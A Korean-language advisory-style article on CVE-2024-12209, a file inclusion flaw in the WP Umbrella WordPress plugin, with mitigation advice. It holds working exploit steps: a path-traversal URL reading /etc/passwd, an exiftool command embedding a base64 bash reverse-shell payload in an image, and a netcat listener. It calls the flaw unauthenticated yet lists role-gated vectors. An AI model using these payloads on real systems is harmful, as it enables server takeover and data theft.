# WP Umbrella의 치명적인 LFI 취약점, WordPress 사이트에서 RCE 허용
30,000개 이상의 WordPress 사이트에서 사용 중인 WP Umbrella 플러그인에서 CVSS 9.8(CVE-2024-12209)의 치명적인 LFI 취약점이 발견되었습니다. 이 취약점은 filename 매개변수를 통해 umbrella-restore 엔드포인트에 영향을 미쳐 인증되지 않은 사용자가 원격 코드 실행(RCE)을 수행할 수 있게 합니다.
이 플러그인은 여러 WordPress 사이트의 중앙 집중식 모니터링 및 관리를 위해 설계되어 에이전시와 프리랜서들 사이에서 큰 인기를 끌고 있습니다. 취약점은 경로 검증 없이 동적 파일 포함을 통해 악용됩니다.
테스트 환경 설정
재현을 위해 PHP와 MySQL이 포함된 로컬 LAMP/XAMPP 스택이 필요합니다. WordPress를 설치하세요:
cd ~/Downloads
unzip wordpress-6.6.2.zip
sudo mv wordpress /opt/lampp/htdocs/
sudo chown -R daemon:daemon /opt/lampp/htdocs
그 다음 http://127.0.0.1/wordpress에서 설치 프로그램을 실행하세요. 취약한 버전의 WP Umbrella 플러그인을 설치하세요.
umbrella-restore의 LFI 메커니즘
취약점은 PHP의 include/require 함수에서 filename 매개변수의 정제(sanitization)가 부족하여 발생합니다. 공격자는 서버의 임의 파일 경로를 지정할 수 있습니다.
벡터 1: 시스템 파일 직접 읽기 (Contributor 역할)
미디어 업로드 권한이 없는 역할의 경우 경로 탐색을 사용합니다:
https://wp-dev.ddev.site/?umbrella-restore=1&filename=../../../../../../etc/passwd
이로 인해 추가 권한 없이 /etc/passwd 내용을 덤프할 수 있습니다.
벡터 2: EXIF 메타데이터 주입을 통한 RCE (Author 역할)
- EXIF 댓글에 PHP 페이로드를 포함한 JPG 파일 생성:
exiftool -Comment="<?php system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash')?>" name.jpg
- 관리자에서 파일 업로드: 미디어 → 새로 추가.
- 업로드된 파일의 URL 복사, 예:
/wp-content/uploads/2024/12/maxresdefault.jpg.
- Netcat 리스너 시작:
nc -lvnp 4444
- LFI 악용:
http://localhost/?umbrella-restore=1&filename=wp-content/uploads/2024/12/maxresdefault.jpg
페이로드가 실행되어 4444 포트에서 리버스 쉘을 연결합니다.
보호 권장 사항
- WP Umbrella 플러그인을 패치된 버전으로 업데이트하세요.
- 경로 탐색 방지 규칙이 포함된 WAF 구현(ModSecurity OWASP CRS).
- 인증되지 않은 사용자에 대한
umbrella-restore접근 비활성화. - php.ini에서
open_basedir를 사용하여 파일 시스템 접근 제한. - Burp Suite 또는 Nuclei를 사용해 LFI 정기 스캔.
주요 포인트
- CVSS 9.8 취약점으로 30,000개 이상 사이트에서 인증되지 않은 RCE 가능.
- 두 가지 벡터: 직접 LFI와 업로드 미디어 파일의 EXIF 주입.
- 프론트엔드 접근만으로 악용 가능, Contributor 역할 이상.
- 패치 필수; 미패치 시 서버 장악 및 데이터 유출 위험.
- 프로덕션 환경 피하고 격리된 환경에서 테스트.
— Editorial Team
아직 댓글이 없습니다.